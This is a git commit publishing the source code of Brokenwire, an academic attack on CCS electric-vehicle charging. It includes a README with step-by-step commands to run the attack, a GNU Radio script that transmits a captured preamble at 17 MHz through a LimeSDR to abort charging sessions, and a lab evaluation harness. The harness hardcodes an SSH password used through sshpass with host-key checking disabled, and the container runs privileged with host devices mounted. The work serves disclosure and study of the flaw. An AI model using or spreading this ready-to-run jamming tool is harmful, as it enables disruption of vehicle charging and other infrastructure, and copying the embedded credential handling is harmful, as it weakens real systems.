made source code available

This commit is contained in:
Sebastian 2023-03-02 09:23:46 -08:00
parent feb6a49f26
commit a61c5b376a
11 changed files with 490 additions and 2 deletions

3
.gitignore vendored Normal file
View File

@ -0,0 +1,3 @@
*.DS_Store*
*__pycache__*
*.ipynb_checkpoints*

31
Dockerfile Normal file
View File

@ -0,0 +1,31 @@
FROM ubuntu:20.04
ENV LANG C.UTF-8
ARG DEBIAN_FRONTEND=noninteractive
ENV TZ=Europe/London
RUN apt -y update
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
RUN apt-get install -y tzdata
RUN apt -y install python3-pip wget git python-mako doxygen cmake build-essential texlive-fonts-recommended texlive-fonts-extra dvipng sshpass software-properties-common
RUN add-apt-repository -y ppa:gnuradio/gnuradio-releases
RUN apt -y install gnuradio
RUN apt -y install git cmake g++ libboost-all-dev libgmp-dev swig python3-numpy python3-mako python3-sphinx python3-lxml libfftw3-dev libsdl1.2-dev libgsl-dev libqwt-qt5-dev libqt5opengl5-dev python3-pyqt5 liblog4cpp5-dev libzmq3-dev python3-yaml python3-click python3-click-plugins python3-zmq python3-scipy python3-gi python3-gi-cairo gobject-introspection gir1.2-gtk-3.0
RUN apt -y install limesuite limesuite-udev
WORKDIR /home
ADD ./code /home/code
WORKDIR /home/code
### Make sure the newest numpy version is installed
RUN pip3 install --upgrade numpy
### Install Pyhton Requirements and Jupyter ###
RUN pip3 install -r req
RUN pip3 install --upgrade jupyter
RUN pip3 install jupyterlab
### Start a shell
CMD ["/bin/bash"]

View File

@ -1,3 +1,74 @@
# Brokenwire: Wireless Disruption of CCS EV Charging
<p align="center"><img src="https://github.com/ssloxford/brokenwire/blob/master/data/brokenwire_logo.png" width="30%"></p>
This repository will contain the evaluation source code for our paper Brokenwire once the embargo period has passed.
# Brokenwire: Wireless Disruption of CCS Electric Vehicle Charging
This repository contains the evaluation source code used in our NDSS paper [**Brokenwire: Wireless Disruption of CCS Electric Vehicle Charging**](https://www.ndss-symposium.org/wp-content/uploads/2023/02/ndss2023_s251_paper.pdf).
Brokenwire is a novel attack against the **Combined Charging System (CCS)**, one of the most widely used DC rapid charging technologies for electric vehicles (EVs).
The attack interrupts necessary control communication between the vehicle and charger, **causing charging sessions to abort**.
The attack can be conducted wirelessly from a distance using electromagnetic interference, allowing individual vehicles or entire fleets to be disrupted simultaneously.
In addition, the attack can be mounted with off-the-shelf radio hardware and minimal technical knowledge.
With a power budget of 1 W, the attack is successful from around **47 m** distance.
The **exploited CSMA/CA behavior** is a required part of the HomePlug GreenPHY, DIN 70121 & ISO 15118 standards and all known implementations exhibit it.
Brokenwire has immediate implications for many of the **12 million** battery EVs estimated to be on the roads worldwide — and profound effects on the new wave of electrification for vehicle fleets, both for private enterprise and for crucial public
services.
In addition to electric cars, Brokenwire affects **electric ships, airplanes and heavy duty vehicles**.
As such, we conducted a disclosure to industry and discuss in our paper a range of mitigation techniques that could be deployed to limit the impact.
You can also learn more about Brokenwire on our [**website**](https://brokenwire.fail).
## Structure of the Repository
This repository is organized as follows:
```
. # root directory of the repository
├── code # contains the evaluation source code
│ ├── lab_evaluation # files used for the lab evaluation
│ │ └── collect_data.py # Python script used to evaluate Brokenwire in a controlled lab setting
│ ├── lib # various Python classes required for the evaluation
│ │ │── EvaluationUtils.py # library that helps running the lab evaluation
│ │ └── IPerfEvaluation.py # Python class used for the lab evaluation
│ ├── req # text file that contains all the Python requirements
│ └── scripts # directory that contains additional evaluation scripts
│ └── preamble_emission.py # Python script that emits the preamble with a LimeSDR
├── data # directory that contains required files
│ └── preambles # directory that contains the preamble
│ └── captured_preamble.dat # captured preamble used for the attack
├── docker-compose.yml # configuration file of the Docker container
├── Dockerfile # build instructions for the Docker container
└── README.md # this README file
```
## Running the Docker Container
This repository contains all configuration and source code files necessary to run the Brokenwire attack.
To ensure a quick and easy deployment, we provide a Dockerfile to build a container with all the required dependencies.
<br>**Please note**, to immediately get started with this repository, you will need `docker`, `docker-compose` and a LimeSDR.
The following steps outline how to build and run the Docker container and execute the Brokenwire attack:
* `git clone https://github.com/ssloxford/brokenwire.git`
* `cd brokenwire/`
* `docker-compose build`
* `docker-compose up -d`
Once the container is up and running, you can attach to it
`docker attach brokenwire`
and run the following command to start the attack:
`python3 /home/code/scripts/preamble_emission.py --lime-sdr-gain LIMESDR_GAIN`
where LIMESDR_GAIN is a value between -12 and 64.
## Recommended Equipment
To run the Brokenwire attack, a software-defined radio that can transmit at a center frequency of 17 MHz with a sample rate >= 25MSPS is required.
While any SDR with the these properties should work, our source code is tailored to the use of a LimeSDR.
Since Brokenwire is a very effective attack and does not require a high transmission power, testing the attack should not require any additional amplification.
## Contributors
* [Sebastian Köhler](https://cs.ox.ac.uk/people/sebastian.kohler)
* [Richard Baker](https://www.cs.ox.ac.uk/people/richard.baker)
* [Martin Strohmeier](https://www.cs.ox.ac.uk/people/martin.strohmeier)

View File

@ -0,0 +1,169 @@
import sys
sys.path.append("/home/code/lib/")
from EvaluationUtils import EvaluationUtils
from IPerfEvaluation import IPerfEvaluation
import numpy as np
import argparse
import copy
import glob
import subprocess
import os
from subprocess import Popen
import time
import json
class ConnectionError(Exception):
pass
def set_noise_level(noise_level):
# Before setting the noise, make sure that no noise output is currently running
end_noise_output()
output_noise = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-evcc.lan", "/home/pi/evdisrupt-picoscope-awgn/run.sh", str(noise_level)])
time.sleep(5)
output_noise.terminate()
def end_noise_output():
#sudo pkill -INT python3
kill_previous_output = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-evcc.lan", "sudo", "pkill", "-INT", "python3"])
# Wait for 5 seconds to give docker enough time to shutdown
time.sleep(5)
kill_previous_output.terminate()
def emit_preamble(preamble, lime_sdr_gain):
run_gnuradio_script = Popen(["python3", "/home/code/scripts/preamble_emission.py", "--preamble", str(preamble), "--lime-sdr-gain", str(lime_sdr_gain)])
time.sleep(10)
return run_gnuradio_script
def run_iperf(iperf_evaluation):
# IPerf Settings
ip = "192.168.2.1"
port = "1234"
evaluation_time = iperf_evaluation.evaluation_time
bandwidth = "5M"
# Start the IPerf Server
iperf_server = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-secc.lan", "iperf3", "-s", "-p", port, "-J", "-1"], stdout=subprocess.PIPE)
# Sleep for a little while to make sure the IPerf Server is up and running
time.sleep(5)
# Start the IPerf Client
# Possible error: iperf3: error - unable to connect to server: No route to host
iperf_client = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-evcc.lan", "iperf3", "-u", "-b", bandwidth, "-t", str(evaluation_time), "-p", port, "-c", ip], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
try:
iperf_client.wait(timeout=(evaluation_time + 5))
except:
iperf_server.terminate()
iperf_client.terminate()
return
iperf_client_output = iperf_client.communicate()[1].decode('utf-8')
print(iperf_client_output)
if "unable to connect to server" in str(iperf_client_output) or str(iperf_client_output) != "":
print(f"FAILED: {iperf_client_output}")
iperf_server.terminate()
iperf_client.terminate()
raise ConnectionError('No connection to server possible!')
# Wait for the process, if no client connected kill the process
iperf_server.wait(timeout=20)
# Get the output from the IPerf Server Process
iperf_server_output = iperf_server.communicate()[0].decode('utf-8')
#print(iperf_server_output)
# Extract the important info from the IPerf Run
iperf_json_output = json.loads(iperf_server_output)
try:
iperf_summary = iperf_json_output["end"]["sum"]
iperf_evaluation.jitter = iperf_summary["jitter_ms"]
iperf_evaluation.lost = iperf_summary["lost_packets"]
iperf_evaluation.sent = iperf_summary["packets"]
iperf_evaluation.loss = iperf_summary["lost_percent"]
iperf_evaluation.print_results()
except:
pass
# Make sure both processes are terminated
iperf_server.terminate()
iperf_client.terminate()
def run_evaluation(number_of_runs, iperf_evaluation):
noise_levels = [0]
if iperf_evaluation.preamble is None:
preambles = glob.glob("/home/data/preambles/*.dat")
else:
preambles = [iperf_evaluation.preamble]
lime_sdr_min_gain = 12
lime_sdr_max_gain = 64
gain_step_size = 2
for preamble in preambles:
# Repeat attack evaluation
for run in range(number_of_runs):
for noise_level in noise_levels:
#end_noise_output()
iperf_results = []
# Count how often the communication was interrupted
interruption_counter = 0
#if noise_level > 0:
#end_noise_output()
#set_noise_level(noise_level)
# Wait for 15 seconds to make sure the Picoscope has been initilized
#time.sleep(15)
# Iterate from lowest LimeSDR gain to highest
for lime_sdr_gain in range(lime_sdr_min_gain, lime_sdr_max_gain + 1, gain_step_size):
current_evaluation_run = copy.deepcopy(iperf_evaluation)
current_evaluation_run.lime_sdr_gain = lime_sdr_gain
current_evaluation_run.noise_level = noise_level
if interruption_counter > 1:
print("Now reached the maximum number of tries")
current_evaluation_run.loss = 100
iperf_results.append(current_evaluation_run)
continue
gnuradio_process = emit_preamble(preamble, lime_sdr_gain)
time.sleep(4)
try:
run_iperf(current_evaluation_run)
except ConnectionError:
print("Catching ConnectionError Exception")
current_evaluation_run.loss = 100
interruption_counter += 1
gnuradio_process.terminate()
time.sleep(4)
iperf_results.append(current_evaluation_run)
EvaluationUtils.save_results("results_20211214.csv", iperf_results)
time.sleep(5)
#end_noise_output()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Run evaluation for specific distance.')
parser.add_argument('--distance', '-d', type=float, help='Distance between PLC and transmitter (m).', required=True)
parser.add_argument('--amplifier', '-a', type=str, help='Amplifier.', required=False, default="1W")
parser.add_argument('--voltage', '-v', type=float, help='Amplifier Voltage.', required=False, default=12.0)
parser.add_argument('--current', '-c', type=float, help='Amplifier Current.', required=False, default=0.31)
parser.add_argument('--preamble', '-p', type=str, help='Path to the preamble.', required=False)
parser.add_argument('--time', '-t', type=int, help='Attack duration in seconds.', required=False, default=30)
parser.add_argument('--cable_length', type=int, help='Length of the charging cable (m).', required=False, default=4)
parser.add_argument('--angle', type=int, help='Angle between attacker and charging cable.', required=False, default=0)
parser.add_argument('--antenna_position', type=str, help='Description of antenna position.', required=False, default="Nearly centered, parallel")
parser.add_argument('--antenna', type=str, help='Description of antenna setting.', required=False, default="One dipole unrolled, one rolled")
parser.add_argument('--number_of_runs', '-r', type=int, help='Number of runs.', required=False, default=1)
args = parser.parse_args()
iperf_evaluation = IPerfEvaluation(args.distance, args.amplifier, args.voltage, args.current, args.preamble, args.time, args.cable_length, args.angle, args.antenna_position, args.antenna)
run_evaluation(args.number_of_runs, iperf_evaluation)

View File

@ -0,0 +1,23 @@
import glob
import sys
sys.path.append("../lib/")
import pandas as pd
import os
import numpy as np
class EvaluationUtils:
# This method takes an object, converts it into a dict and stores it into a CSV file
def save_results(file_name, results):
if len(results) > 0:
data_frame = pd.DataFrame(columns=results[0].to_dict().keys())
for result in results:
data_frame = data_frame.append(result.to_dict(), ignore_index=True)
# Check if file exists, if so, append the file.
# If not, create a new one.
if os.path.isfile(file_name):
data_frame.to_csv(file_name, mode='a', header=False, index=False)
else:
data_frame.to_csv(file_name, index=False)

View File

@ -0,0 +1,30 @@
class IPerfEvaluation():
noise_level = 0
lime_sdr_gain = 0
output_power = 0
jitter = 0
lost = 0
sent = 0
loss = 100
def __init__(self, distance, amplifier, voltage, current, preamble, evaluation_time, cable_length, angle, antenna_position, antenna):
self.distance = distance
self.amplifier = amplifier
self.voltage = voltage
self.current = current
self.preamble = preamble
self.evaluation_time = evaluation_time
self.cable_length = cable_length
self.angle = angle
self.antenna_position = antenna_position
self.antenna = antenna
def to_dict(self):
return self.__dict__
def print(self):
print(f"IPerf Evaluation:\n\tDistance: {self.distance}\n\tAmplifier: {self.amplifier}\n\tVoltage: {self.voltage}\n\tCurrent: {self.current}\n\tPreamble: {self.preamble}\n\tEvaluation Time: {self.evaluation_time}\n\tCable Length: {self.cable_length}\n\tAngle: {self.angle}\n\tAntenna Position: {self.antenna_position}\n\tAntenna: {self.antenna}")
def print_results(self):
print(f"Results for Noise Level: {self.noise_level} and Gain: {self.lime_sdr_gain}\nLost: {self.lost}\nSent: {self.sent}\nLoss: {self.loss}")

6
code/req Normal file
View File

@ -0,0 +1,6 @@
mako
jupyter
numpy
matplotlib
pyzbar
pandas

View File

@ -0,0 +1,136 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# SPDX-License-Identifier: GPL-3.0
#
# GNU Radio Python Flow Graph
# Title: Not titled yet
# GNU Radio version: 3.9.2.0
from gnuradio import blocks
import pmt
from gnuradio import gr
from gnuradio.filter import firdes
from gnuradio.fft import window
import sys
import signal
from argparse import ArgumentParser
from gnuradio.eng_arg import eng_float, intx
from gnuradio import eng_notation
from gnuradio import soapy
class preamble_emission(gr.top_block):
def __init__(self, preamble='/home/data/preambles/captured_preamble.dat', lime_sdr_gain=-12):
gr.top_block.__init__(self, "Brokenwire", catch_exceptions=True)
##################################################
# Parameters
##################################################
self.preamble = preamble
self.lime_sdr_gain = lime_sdr_gain
##################################################
# Variables
##################################################
self.samp_rate = samp_rate = 25e6
self.freq = freq = 17e6
##################################################
# Blocks
##################################################
self.soapy_limesdr_sink_0 = None
dev = 'driver=lime'
stream_args = ''
tune_args = ['']
settings = ['']
self.soapy_limesdr_sink_0 = soapy.sink(dev, "fc32", 1, '',
stream_args, tune_args, settings)
self.soapy_limesdr_sink_0.set_sample_rate(0, samp_rate)
self.soapy_limesdr_sink_0.set_bandwidth(0, 0.0)
self.soapy_limesdr_sink_0.set_frequency(0, freq)
self.soapy_limesdr_sink_0.set_frequency_correction(0, 0)
self.soapy_limesdr_sink_0.set_gain(0, min(max(lime_sdr_gain, -12.0), 64.0))
self.blocks_file_source_0 = blocks.file_source(gr.sizeof_gr_complex*1, preamble, True, 0, 0)
self.blocks_file_source_0.set_begin_tag(pmt.PMT_NIL)
##################################################
# Connections
##################################################
self.connect((self.blocks_file_source_0, 0), (self.soapy_limesdr_sink_0, 0))
def get_preamble(self):
return self.preamble
def set_preamble(self, preamble):
self.preamble = preamble
self.blocks_file_source_0.open(self.preamble, True)
def get_lime_sdr_gain(self):
return self.lime_sdr_gain
def set_lime_sdr_gain(self, lime_sdr_gain):
self.lime_sdr_gain = lime_sdr_gain
self.soapy_limesdr_sink_0.set_gain(0, min(max(self.lime_sdr_gain, -12.0), 64.0))
def get_samp_rate(self):
return self.samp_rate
def set_samp_rate(self, samp_rate):
self.samp_rate = samp_rate
self.soapy_limesdr_sink_0.set_sample_rate(0, self.samp_rate)
def get_freq(self):
return self.freq
def set_freq(self, freq):
self.freq = freq
self.soapy_limesdr_sink_0.set_frequency(0, self.freq)
def argument_parser():
parser = ArgumentParser()
parser.add_argument(
"--preamble", dest="preamble", type=str, default='/home/data/preambles/captured_preamble.dat',
help="Set Preamble [default=%(default)r]")
parser.add_argument(
"--lime-sdr-gain", dest="lime_sdr_gain", type=intx, default=-12,
help="Set LimeSDR Gain [default=%(default)r]")
return parser
def main(top_block_cls=preamble_emission, options=None):
if options is None:
options = argument_parser().parse_args()
tb = top_block_cls(preamble=options.preamble, lime_sdr_gain=options.lime_sdr_gain)
def sig_handler(sig=None, frame=None):
tb.stop()
tb.wait()
sys.exit(0)
signal.signal(signal.SIGINT, sig_handler)
signal.signal(signal.SIGTERM, sig_handler)
tb.start()
# try:
# input('Press Enter to quit: ')
# except EOFError:
# pass
#tb.stop()
tb.wait()
if __name__ == '__main__':
main()

BIN
data/brokenwire_logo.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 122 KiB

Binary file not shown.

19
docker-compose.yml Normal file
View File

@ -0,0 +1,19 @@
version: "3.5"
services:
brokenwire:
build:
context: .
dockerfile: Dockerfile
network_mode: "host"
privileged: true
image: brokenwire:brokenwire
environment:
- DISPLAY=$DISPLAY
container_name: brokenwire
stdin_open: true
tty: true
volumes:
- "/dev:/dev"
- "/proc:/proc"
- "./code:/home/code"
- "./data:/home/data"